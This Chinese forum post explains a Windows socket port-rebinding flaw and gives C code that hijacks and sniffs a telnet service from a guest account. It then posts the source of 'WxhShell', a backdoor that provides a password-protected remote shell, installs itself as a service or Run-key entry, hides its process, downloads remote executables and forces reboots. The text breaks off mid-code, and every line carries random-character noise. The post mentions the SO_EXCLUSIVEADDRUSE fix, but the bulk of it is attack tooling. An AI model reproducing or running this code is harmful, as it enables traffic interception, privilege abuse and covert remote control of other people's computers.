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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4 Q&mC"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z@nmjji  
STRyW Ml  
  saddr.sin_family = AF_INET; 9/H^t* 5t  
cJV!> 0ua  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %w@ig~vD'  
:|fl?{E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 't ;/,+:V  
C=EhY+5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i*b4uHna  
dcR6KG8  
  这意味着什么?意味着可以进行如下的攻击: T/ Ez*iQW  
?e2Y`0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cnYYs d{  
rZ 6@b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A1 b6Zt  
9Mut p4#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %rX\ P  
 ^ M8k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {AtfK>D  
%pM :{Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  *X0K2|  
LsUFz_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n *Q4G}p  
s}<)B RZi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HMFl/%z  
L5TNsLx(  
  #include yqC+P  
  #include U8U/?zW/&  
  #include dcM+ylB  
  #include    e(4bx5 <*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XC 57];-  
  int main() )m oo?Q  
  { i:AjWC@]  
  WORD wVersionRequested; v] W1F,u  
  DWORD ret; @m }rQT  
  WSADATA wsaData; a  [0N,t  
  BOOL val; DKf}47y  
  SOCKADDR_IN saddr; ~ mHXz  
  SOCKADDR_IN scaddr; ^?81.b|qb  
  int err; aEV|>K=6Y'  
  SOCKET s; %'$cH$%~J  
  SOCKET sc; LS*{]@8q  
  int caddsize; {^2({A#&  
  HANDLE mt; pqRO[XEp2  
  DWORD tid;   }6yxt9  
  wVersionRequested = MAKEWORD( 2, 2 ); #J'Z5)i|  
  err = WSAStartup( wVersionRequested, &wsaData ); pIM*c6  
  if ( err != 0 ) { ?tW%"S^D  
  printf("error!WSAStartup failed!\n"); 0Ax>gj-`  
  return -1; n-L]YrDPK[  
  } "E4i >g  
  saddr.sin_family = AF_INET; Cnb[t[hk+j  
   rPrEEWS0)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hVTyv"  
znGZULa#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /zDSlj<c  
  saddr.sin_port = htons(23); GN}9$:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <S:,`v&Z  
  { t*ri`}a{v  
  printf("error!socket failed!\n"); $j$\ccG  
  return -1; :BC<+T=  
  } oj,Vi-TZ  
  val = TRUE; +J}k_'4&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #b<lt'gC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >G w%r1)  
  { W! 5Blo  
  printf("error!setsockopt failed!\n"); iq[2H$  
  return -1; U)T/.L{0i  
  } 3XYIbXnk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @$N*lrM2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ocDVCCkxg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ta+"lM7A}$  
HY%6eUhj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "pKGUM  
  { iNaC ZC  
  ret=GetLastError(); 2#Q"@  
  printf("error!bind failed!\n"); ~ 33@H  
  return -1; 5 p(t")  
  } AyI}LQm]u  
  listen(s,2); AS/\IHZ\  
  while(1) 2EI m  
  { GoZJDE3  
  caddsize = sizeof(scaddr); n"`SL<K1  
  //接受连接请求 o<eWg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *T}dv)8  
  if(sc!=INVALID_SOCKET) d}6AHS[  
  { "}y3@ M^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $=6kh+n@  
  if(mt==NULL) pdXgr)Uv  
  { &VBD2_T  
  printf("Thread Creat Failed!\n"); e]L3=R;  
  break; u/c~PxC  
  } @"#gO:|[i0  
  } JOoLHZQ1v  
  CloseHandle(mt); tg%WVy2  
  } KE|u}M@v6  
  closesocket(s); :_b =Km<  
  WSACleanup(); }od7YL  
  return 0; V,* 0<7h  
  }   ~bm2_/RL  
  DWORD WINAPI ClientThread(LPVOID lpParam) aDJjVD  
  { =S7C(;=4  
  SOCKET ss = (SOCKET)lpParam; &>^Ympr  
  SOCKET sc; '_yk_[/  
  unsigned char buf[4096]; i?s&\3--Y  
  SOCKADDR_IN saddr; _xZb;PbFE  
  long num; H_nOE(i<z  
  DWORD val; CIs1*:Q9  
  DWORD ret; n;T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z@S8H6jM)S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kjYO0!C  
  saddr.sin_family = AF_INET; fw~%^*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Fl|&eO,e  
  saddr.sin_port = htons(23); K &~#@I;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !/ q&0a  
  { Jj _+YfIM  
  printf("error!socket failed!\n"); {xb%P!o`  
  return -1; |\L,r}1N  
  } ofhZ@3  
  val = 100; JdNPfkOF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >71w #K  
  { G&@RLht  
  ret = GetLastError(); ra#)*fG,~  
  return -1; sf&K<C](  
  } 5T@'2)BI=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WiCM,wDi  
  { Fm+)mmJP  
  ret = GetLastError(); N`GwL aF  
  return -1; k |aOUW  
  } gJfL$S'w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x/q$RcDOm  
  { UDqKF85H  
  printf("error!socket connect failed!\n"); +?g,&NE  
  closesocket(sc); NGD2z.  
  closesocket(ss); R$,iDv.jI  
  return -1; T#;*I#A:  
  } g<5Pc,  
  while(1) #AnSjl  
  { |(8h:g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J0 z0%p   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6_ 0w>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OmuZ 0@ .  
  num = recv(ss,buf,4096,0); 5} aC'j\  
  if(num>0) VNot4 62L  
  send(sc,buf,num,0); l\y*wr`  
  else if(num==0) oYM3$.{E  
  break; LjAIB(*  
  num = recv(sc,buf,4096,0); r6_a%A*  
  if(num>0) j %0_!*#3  
  send(ss,buf,num,0); kO>{<$  
  else if(num==0) ~7H.<kJt  
  break; W5uI(rS<6  
  } +Y[+2=lO  
  closesocket(ss); i^KYZ4/%  
  closesocket(sc); (6^k;j  
  return 0 ; \gXx{rLW  
  } +# >%bq x  
',%&DA2  
/ kGX 6hh  
========================================================== mwhn=y#]*  
RN| ..zml  
下边附上一个代码,,WXhSHELL pa73`Ca]  
K)@Buu&,p  
========================================================== Jjq%cA  
4!qDG+m  
#include "stdafx.h" ]}l!L;  
.?j8{>  
#include <stdio.h> :.Sc[UI0  
#include <string.h> P9^h>sV  
#include <windows.h> E e&$9 )t  
#include <winsock2.h> #|i{#~gxM  
#include <winsvc.h> 'E,Yht=/}  
#include <urlmon.h> dfcG'+RU}  
*p!dd?8  
#pragma comment (lib, "Ws2_32.lib") d2C:3-4  
#pragma comment (lib, "urlmon.lib") rXX|?9 '  
[40 YoVlfM  
#define MAX_USER   100 // 最大客户端连接数 R<Tzt' z  
#define BUF_SOCK   200 // sock buffer =SnR9In  
#define KEY_BUFF   255 // 输入 buffer h`j gF  
%"2B1^o>  
#define REBOOT     0   // 重启 B E)l77=/  
#define SHUTDOWN   1   // 关机 i6kyfOI  
d`/{0:F  
#define DEF_PORT   5000 // 监听端口 ?J ?!%Mw  
i=+6R  
#define REG_LEN     16   // 注册表键长度 N!,l4!M\N  
#define SVC_LEN     80   // NT服务名长度 Oa .%n9ec  
E>D@#I>  
// 从dll定义API =x}/q4}L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XN;eehB?aE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ja2]VbB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c`QsKwa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 48`<{|r{  
ffVYlNQ7L  
// wxhshell配置信息 *1n:  
struct WSCFG { wSMgBRV#^  
  int ws_port;         // 监听端口 6dUP's_  
  char ws_passstr[REG_LEN]; // 口令 AtOB'=ph*  
  int ws_autoins;       // 安装标记, 1=yes 0=no z-j\S7F  
  char ws_regname[REG_LEN]; // 注册表键名 O.dNhd$  
  char ws_svcname[REG_LEN]; // 服务名 K3^2R-3:8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <k!G%R<9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^-_!:7TH]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qC &<U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .YkKIei  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z6qC6Ck|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cu]X &l  
HChewrUAn  
}; HNPr| (  
:jPAA`,  
// default Wxhshell configuration )C@,mgh  
struct WSCFG wscfg={DEF_PORT, ElAG~u?  
    "xuhuanlingzhe", 2i)y'+s  
    1, K&*FI (a  
    "Wxhshell", itU01  
    "Wxhshell", ?cvv!2B]T  
            "WxhShell Service", 0AEs+=  
    "Wrsky Windows CmdShell Service", AN;?`AM;  
    "Please Input Your Password: ", u@HP@>V  
  1, <5q}j-Q  
  "http://www.wrsky.com/wxhshell.exe", UgP5^3F2  
  "Wxhshell.exe" LHz{*`22q  
    }; ~"N]%Cu  
R&QT  'i  
// 消息定义模块 UnPSJ]VW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +uA<g`4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =h)H`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'a}{s>{O  
char *msg_ws_ext="\n\rExit.";  0c{N)  
char *msg_ws_end="\n\rQuit."; !m;VWGl*  
char *msg_ws_boot="\n\rReboot..."; T2d pn%I  
char *msg_ws_poff="\n\rShutdown..."; &~& i >  
char *msg_ws_down="\n\rSave to "; DM&"oa50  
<3qbgn>}b  
char *msg_ws_err="\n\rErr!"; .^uu* S_  
char *msg_ws_ok="\n\rOK!"; F ;D_zo?  
A9#2.5  
char ExeFile[MAX_PATH]; ;kbz(:wA  
int nUser = 0; Di6:r3sEO  
HANDLE handles[MAX_USER]; 'e*C^(6  
int OsIsNt; =[WccF  
Hq9(6w9w  
SERVICE_STATUS       serviceStatus; 1/n3qJyx2}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EPI*~=Z.U  
S8y4 p0mV  
// 函数声明 DlP}Fp{  
int Install(void); W% P&o}'  
int Uninstall(void); J 4gIkZD  
int DownloadFile(char *sURL, SOCKET wsh); !cpBX>{w  
int Boot(int flag); YJ9_cA'A  
void HideProc(void); >M!>Hl/  
int GetOsVer(void); FD*y[A ?  
int Wxhshell(SOCKET wsl); `{/=i|6  
void TalkWithClient(void *cs); arB$&s  
int CmdShell(SOCKET sock); *<hpq)  
int StartFromService(void); 6Z"%vrH  
int StartWxhshell(LPSTR lpCmdLine); *w _j;  
_Sg29qFK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gO5;hd[ l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i ]_fhC  
uODsXi{z  
// 数据结构和表定义 `DwlS!0  
SERVICE_TABLE_ENTRY DispatchTable[] = \yxr@z1_b  
{ I;7{b\t Q  
{wscfg.ws_svcname, NTServiceMain}, +)Ty^;+[1  
{NULL, NULL} t5_`q(:  
}; #RSxo 4  
fSTEZH  
// 自我安装 Qknd^%  
int Install(void) j7W_%Yk|E  
{ +n:#Uf)  
  char svExeFile[MAX_PATH]; sJD"u4#y  
  HKEY key; 1eJ\CdI  
  strcpy(svExeFile,ExeFile); (=X16}n:>  
F ^\v`l,  
// 如果是win9x系统,修改注册表设为自启动 0I k@d'7  
if(!OsIsNt) { wD<G+Y}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :G-1VtE n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & #|vGhA  
  RegCloseKey(key); |amEuKJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jPd<h{js  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9qPP{K,Pq2  
  RegCloseKey(key); ZTun{Dw{  
  return 0; ~}5(J,1!  
    } qN)cB?+  
  } 'FVT"M~  
} / [19ITZ  
else { nO/5X>A,Zw  
}[Y):Yy  
// 如果是NT以上系统,安装为系统服务 r B)WHx<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); md_Ld /  
if (schSCManager!=0) {> }U>V  
{ u-W=~EO5#  
  SC_HANDLE schService = CreateService HaSH0eTw  
  ( {Xp.}c  
  schSCManager, <Du*Re6g  
  wscfg.ws_svcname, -Av/L>TxlI  
  wscfg.ws_svcdisp, [brrziZ  
  SERVICE_ALL_ACCESS,  O~S}u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8sg *qQ  
  SERVICE_AUTO_START, XC$~!  
  SERVICE_ERROR_NORMAL, (UM+?]Qwy  
  svExeFile, h;lnc| Hw  
  NULL, 7-LeJRB  
  NULL, M{H&5 9v  
  NULL, ) ad-s  
  NULL, MnQ_]c C  
  NULL Fzu{,b  
  ); yx-"YV}5  
  if (schService!=0) e,BJD>N ?  
  { jyC6:BNust  
  CloseServiceHandle(schService); zM'-2,  
  CloseServiceHandle(schSCManager); zk]~cG5dT/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YszhoHYh  
  strcat(svExeFile,wscfg.ws_svcname); 8ah]D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pGFocw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3:gk:j#  
  RegCloseKey(key); 6i4j(P  
  return 0; 4Y2>w  
    } 87Kx7CKF"  
  } GyCpGP|AZ  
  CloseServiceHandle(schSCManager); {x: IsQZ  
} L:<'TXsRA  
} _=] FJhO  
#cs!`Ngb+  
return 1; j7d;1 zB+G  
} I?"5i8E  
N9Ml&*%oX{  
// 自我卸载 $enh45Wy  
int Uninstall(void) !=we7vK}  
{ - \QtE}|4  
  HKEY key; eBB D9 SI  
d(!N$B\[5T  
if(!OsIsNt) {  b\2"1m0H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #5D+XBT  
  RegDeleteValue(key,wscfg.ws_regname); |#wz)=mD  
  RegCloseKey(key); ry0 =N^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g6V*wjC  
  RegDeleteValue(key,wscfg.ws_regname); zvD5i,I  
  RegCloseKey(key); <Va>5R_d<  
  return 0; ^Ram8fW  
  } O^#u%/  
} 2"O Y]d  
} [7V]=] p  
else { AqkK`iJ#  
fW _.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wk#QQDV3|0  
if (schSCManager!=0) TTpF m~?(  
{ : +Kesa:E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n&]w* (,  
  if (schService!=0) m!_ghD{5h  
  { W=?87PkJu  
  if(DeleteService(schService)!=0) { keOW{:^i  
  CloseServiceHandle(schService); ;Y\,2b, xh  
  CloseServiceHandle(schSCManager); UZra'+Wb  
  return 0; $w\, ."y  
  } i"xDQ$0G6  
  CloseServiceHandle(schService); %a `dO EO  
  } k:Q<Uanc[  
  CloseServiceHandle(schSCManager); _u$K Lqt/,  
} 4(82dmKO  
} ny={V*m  
R 28*  
return 1; Mk[`HEO  
} _3a 5/IZ  
3iw9jhK!W  
// 从指定url下载文件 j&.BbcE45  
int DownloadFile(char *sURL, SOCKET wsh) 7krA+/Qr(  
{ d}_c (  
  HRESULT hr; 7 w,FA  
char seps[]= "/"; L ]c9  
char *token; S)yV51^B  
char *file; ]||=<!^kn  
char myURL[MAX_PATH]; 'QF>e  
char myFILE[MAX_PATH]; Vi WgX.  
:8rCCop Uv  
strcpy(myURL,sURL); OWsYE?  
  token=strtok(myURL,seps); #9OP.4  
  while(token!=NULL) sjm79/  
  { W+?[SnHL/  
    file=token; wjOAgOC  
  token=strtok(NULL,seps); S!_?# ^t  
  } ]?{lQ0vw'w  
AHJ;>"]  
GetCurrentDirectory(MAX_PATH,myFILE); 6^;!9$G|D*  
strcat(myFILE, "\\"); lvi:I+VgA  
strcat(myFILE, file); 4a!7|}W  
  send(wsh,myFILE,strlen(myFILE),0); (+dRD] |T  
send(wsh,"...",3,0); vq1&8=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VsEAo  
  if(hr==S_OK) 0h4}RmS  
return 0; ^<0NIu}  
else QaR.8/xV  
return 1; NCt sx /C  
Xf9%A2 iB  
} RCXSz  
rrYp^xLa`  
// 系统电源模块 P qLqF5`S  
int Boot(int flag) B}+9U  
{ uFZB8+  
  HANDLE hToken; x35s6  
  TOKEN_PRIVILEGES tkp; tL{~O=  
0z7mre^Q  
  if(OsIsNt) { 7"ps#)O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]xEE7H]\h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yuEOQ\!(u  
    tkp.PrivilegeCount = 1; p]Zabky  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tY'QQN||  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vfJk? (  
if(flag==REBOOT) { 4uAafQ`@H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "B3:m-'  
  return 0; f*{;\n (.t  
} =pyZ^/}P  
else { u 7Y< ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2-!Mao"^  
  return 0; :iB%JY Ad  
} x=Jn&4q  
  } k=2l9C3Z  
  else { Cf[F`pFM  
if(flag==REBOOT) { jDXGm[U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?3,tG z)  
  return 0; OB^?cA>  
} {))S<_ yN  
else { ZM`P~N1?)g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a9zph2o-  
  return 0; x9A ZS#e)[  
} zN/~a)  
} % 3-\3qx*  
OKP_3Ns  
return 1; ESjJHZoD(  
} cqL7dlhIl  
{JCz^0DV  
// win9x进程隐藏模块 g*?+ ~0"`Y  
void HideProc(void) =GKYroNM  
{ GtJ*&=(  
ANQa2swM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )-KE4/G  
  if ( hKernel != NULL ) m_02"'  
  { tO>OD#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H9Q7({v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uf'P9MA}>  
    FreeLibrary(hKernel); ?J@qg20z  
  } ak8^/1*@  
LiD |4(3  
return; L Yg$M@  
} J:Y|O-S!  
emY5xZ@N  
// 获取操作系统版本 vs)I pV(  
int GetOsVer(void) ^iRwwN=d  
{ R|J>8AL}BY  
  OSVERSIONINFO winfo; [S&O-b8A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *r,&@UB  
  GetVersionEx(&winfo); :8Ts'OGwI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eO PCYyN  
  return 1; k.xv+^b9Q  
  else @*O{*2  
  return 0; R5&$h$[/  
} ->2wrOH|H  
%^?3s5PXD  
// 客户端句柄模块 uj9tr`Zh  
int Wxhshell(SOCKET wsl) P,;b'-5C  
{ %>9+1lUhV  
  SOCKET wsh; +bc#GzVF  
  struct sockaddr_in client; !QR?\9`  
  DWORD myID; a$zm/  
3^R][;  
  while(nUser<MAX_USER) tZu*Asx7  
{ N' $DE  
  int nSize=sizeof(client); v7<S F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Prb_/B Dd  
  if(wsh==INVALID_SOCKET) return 1; t#pqXY/;D  
eIUuq&(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i=X*  
if(handles[nUser]==0) w^rb|mKo  
  closesocket(wsh); |;U=YRi  
else N[x@j)w-`  
  nUser++; YUVc9PV)Ws  
  } 56=K@$L {F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :O'C:n<g  
E7NbPNd  
  return 0; g t^]32$  
} 2VV[*QI  
,KhMzE8_a  
// 关闭 socket B==a  
void CloseIt(SOCKET wsh) ;;w6b:}-c  
{ #ON#4WD?  
closesocket(wsh); 3aE[F f[  
nUser--; ^M(`/1:  
ExitThread(0); R2Rstk  
} ICl_ eb  
o(d_uJOB  
// 客户端请求句柄 zJuRth)(,  
void TalkWithClient(void *cs) 4)odFq:  
{ *pb:9JKi  
N5f0| U&  
  SOCKET wsh=(SOCKET)cs; tf7v5iGe  
  char pwd[SVC_LEN]; <5ft6a2fQ  
  char cmd[KEY_BUFF]; 6}i&6@Snq?  
char chr[1]; wCU&Xb$F  
int i,j; ),;D;LI{S  
TvWU[=4Yk  
  while (nUser < MAX_USER) { +\k9w.[:/  
UR/qVO?  
if(wscfg.ws_passstr) { _<%\h?W$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )+w/\~@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WpJD=C%  
  //ZeroMemory(pwd,KEY_BUFF); +Y5(hjE  
      i=0; BA1MGh  
  while(i<SVC_LEN) { t(j_eq}J  
,a9D~i 9R  
  // 设置超时 *dG}R#9Nv  
  fd_set FdRead; FYXw$7'l  
  struct timeval TimeOut; T\2) $  
  FD_ZERO(&FdRead); +24|_Lx0  
  FD_SET(wsh,&FdRead); 3b|7[7}&  
  TimeOut.tv_sec=8; o%Uu.P  
  TimeOut.tv_usec=0; OAW=Pozr9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O>SuZ>g+7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i?a,^UM5n[  
(0OSGG9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oN[Fza>  
  pwd=chr[0]; tKG;k"wk  
  if(chr[0]==0xd || chr[0]==0xa) { Q/QQ:t<XUi  
  pwd=0; qab) 1ft  
  break; VBbUl|X\  
  } %="~\1y  
  i++; 5Cc6 , ]  
    } Dm|gSv8d,  
y$j1?7  
  // 如果是非法用户,关闭 socket QIij>!c4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <TLGfA1bC  
} &\"Y/b]  
!B [1zE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]r/(n]=(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v:veV.y  
f.b8ZBNj>  
while(1) { IOsXPf9@  
u Q:ut(  
  ZeroMemory(cmd,KEY_BUFF); VD9 q5tt7  
X"hOHx5P  
      // 自动支持客户端 telnet标准   M>?aa6@0  
  j=0; 7y>Tn`V8G  
  while(j<KEY_BUFF) { _&; ZmNNhc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b?Cmc  
  cmd[j]=chr[0]; 2!{_/@I\Y  
  if(chr[0]==0xa || chr[0]==0xd) { 'GV&]   
  cmd[j]=0; ER~T'-YMS  
  break; \#\`!L[1  
  } DL'd&;6  
  j++; |`_ <@b  
    } i(M(OR/4  
H_% d3 RI  
  // 下载文件 pG,<_N@P  
  if(strstr(cmd,"http://")) { 6?%]odI#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ov\Ct%]  
  if(DownloadFile(cmd,wsh)) F-$Z,Q]S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0M#N=%31  
  else lQh E]m>+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =w',-+@  
  } WdTbt  
  else { 4r_!>['`"  
uIYcmF\?  
    switch(cmd[0]) { b(q$j/~ zb  
  b:fxkQm  
  // 帮助 n!UMU^  
  case '?': { 8`:M\*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #2Ac  
    break; H/^ ~<U#p  
  } H{j~ihq7  
  // 安装 wD<vg3e[H  
  case 'i': { ]~?S~l%  
    if(Install()) 5"1!p3`\D{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /yx=7<  
    else CCuxC9i7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rz`@N`U  
    break; v\fzO#vj  
    } vx04h~  
  // 卸载 &e%{k@  
  case 'r': { @ \!KF*v  
    if(Uninstall()) H,(F1+~d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 96vj)ql  
    else -`-ACWeNV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jv*Dg (  
    break; pZu?V"R  
    } CHPL>'NJzc  
  // 显示 wxhshell 所在路径 SW3wMPy&s  
  case 'p': { i Bi7|  
    char svExeFile[MAX_PATH]; )2) Zz +<  
    strcpy(svExeFile,"\n\r"); D8k*0ei&  
      strcat(svExeFile,ExeFile); =Ml|l$  
        send(wsh,svExeFile,strlen(svExeFile),0); a;56k  
    break; uAp -$?  
    } q|n97.vD  
  // 重启 ~@%(RMJm&  
  case 'b': { 'GrRuT<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?$<SCN =  
    if(Boot(REBOOT)) d-hbvLn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nA>*IU[  
    else { p:Iw%eZ:  
    closesocket(wsh); Bp &6x;MJf  
    ExitThread(0); Xf6fH O  
    } 40 A&#u9o  
    break; UE"7   
    } HvAE,0N  
  // 关机 2y^U k,g  
  case 'd': { $ b4*/vMr  
